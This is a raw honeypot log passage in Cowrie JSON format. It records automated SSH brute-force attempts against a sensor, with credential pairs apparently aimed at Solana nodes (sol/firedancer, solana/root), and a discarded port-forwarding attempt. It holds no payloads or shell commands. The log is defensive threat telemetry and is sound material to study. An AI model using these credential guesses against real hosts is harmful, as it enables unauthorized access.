{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37990,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef21dbd50a42","protocol":"ssh","message":"New connection: 80.94.92.184:37990 (10.17.0.5:22) [session: ef21dbd50a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:57.880607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:57.959366Z","src_ip":"80.94.92.184","session":"ef21dbd50a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:58.016202Z","src_ip":"80.94.92.184","session":"ef21dbd50a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:58.913212Z","src_ip":"80.94.92.184","session":"ef21dbd50a42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.98.103","dst_port":443,"src_ip":"77.90.185.17","src_port":53810,"message":"direct-tcp connection request to 142.251.98.103:443 from 127.0.0.1:53810","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:59.260458Z","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.98.103","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.98.103:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:59.800315Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.98.103","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Nvm\\xaa\\xa7\\t\\x83ip]\\xc9\\xd6\\xdc\\x8f@Y\\x14\\xf9@t\\x1b5M S\\x1cq\\xc6\\xafQ\\x91; \\xbc\\\\\\xc4\\x08\\x03\\xa6Y\\xa6\\n6/\\x95\\xdb\\xc3\\xf4Y\\xcb\\xb1\\xfc\\x81\\xe0\\xd3\\x0c5\\x92%\\xdc\\x98\\xd7}\\xb6\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 2q\\x12\\xcd\\x84\\xc4\\xf9%a\\xfd\\xfal\\xb1\\x00\\xe2?{f\\x866\\x8e\\x13$\\xfc\\x1a\\xe1\\xc6a\\xfb!\\xc6=\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.98.103:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Nvm\\xaa\\xa7\\t\\x83ip]\\xc9\\xd6\\xdc\\x8f@Y\\x14\\xf9@t\\x1b5M S\\x1cq\\xc6\\xafQ\\x91; \\xbc\\\\\\xc4\\x08\\x03\\xa6Y\\xa6\\n6/\\x95\\xdb\\xc3\\xf4Y\\xcb\\xb1\\xfc\\x81\\xe0\\xd3\\x0c5\\x92%\\xdc\\x98\\xd7}\\xb6\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 2q\\x12\\xcd\\x84\\xc4\\xf9%a\\xfd\\xfal\\xb1\\x00\\xe2?{f\\x866\\x8e\\x13$\\xfc\\x1a\\xe1\\xc6a\\xfb!\\xc6=\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:46:59.803190Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:00.203928Z","src_ip":"77.90.185.17","session":"ddf63335a126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:00.378745Z","src_ip":"80.94.92.184","session":"ef21dbd50a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34750,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d588b18bdc8","protocol":"ssh","message":"New connection: 195.178.110.218:34750 (159.203.135.109:22) [session: 7d588b18bdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:29.928624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:29.940380Z","src_ip":"195.178.110.218","session":"7d588b18bdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:30.008356Z","src_ip":"195.178.110.218","session":"7d588b18bdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:30.316301Z","src_ip":"195.178.110.218","session":"7d588b18bdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:31.397971Z","src_ip":"195.178.110.218","session":"7d588b18bdc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42128,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f55ea1197e7","protocol":"ssh","message":"New connection: 92.118.39.92:42128 (159.203.135.109:22) [session: 0f55ea1197e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:53.078267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:53.081429Z","src_ip":"92.118.39.92","session":"0f55ea1197e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:53.181231Z","src_ip":"92.118.39.92","session":"0f55ea1197e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"delegate","password":"delegate","message":"login attempt [delegate/delegate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:53.559560Z","src_ip":"92.118.39.92","session":"0f55ea1197e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:47:54.661711Z","src_ip":"92.118.39.92","session":"0f55ea1197e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57594,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee7d187a311","protocol":"ssh","message":"New connection: 92.118.39.92:57594 (159.203.135.109:22) [session: fee7d187a311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:06.091398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:06.096701Z","src_ip":"92.118.39.92","session":"fee7d187a311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:06.203031Z","src_ip":"92.118.39.92","session":"fee7d187a311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:06.517207Z","src_ip":"92.118.39.92","session":"fee7d187a311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:07.624098Z","src_ip":"92.118.39.92","session":"fee7d187a311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49856,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d98e2900e3c","protocol":"telnet","message":"New connection: 49.88.156.34:49856 (10.17.0.5:23) [session: 0d98e2900e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:07.955589Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36608,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f0480d82f7","protocol":"ssh","message":"New connection: 195.178.110.218:36608 (159.203.135.109:22) [session: 58f0480d82f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:08.686576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:08.694866Z","src_ip":"195.178.110.218","session":"58f0480d82f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:08.775166Z","src_ip":"195.178.110.218","session":"58f0480d82f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:09.018899Z","src_ip":"195.178.110.218","session":"58f0480d82f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:10.101029Z","src_ip":"195.178.110.218","session":"58f0480d82f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40728,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f4065899bfe","protocol":"ssh","message":"New connection: 80.94.92.184:40728 (10.17.0.5:22) [session: 4f4065899bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:26.186973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:26.267389Z","src_ip":"80.94.92.184","session":"4f4065899bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 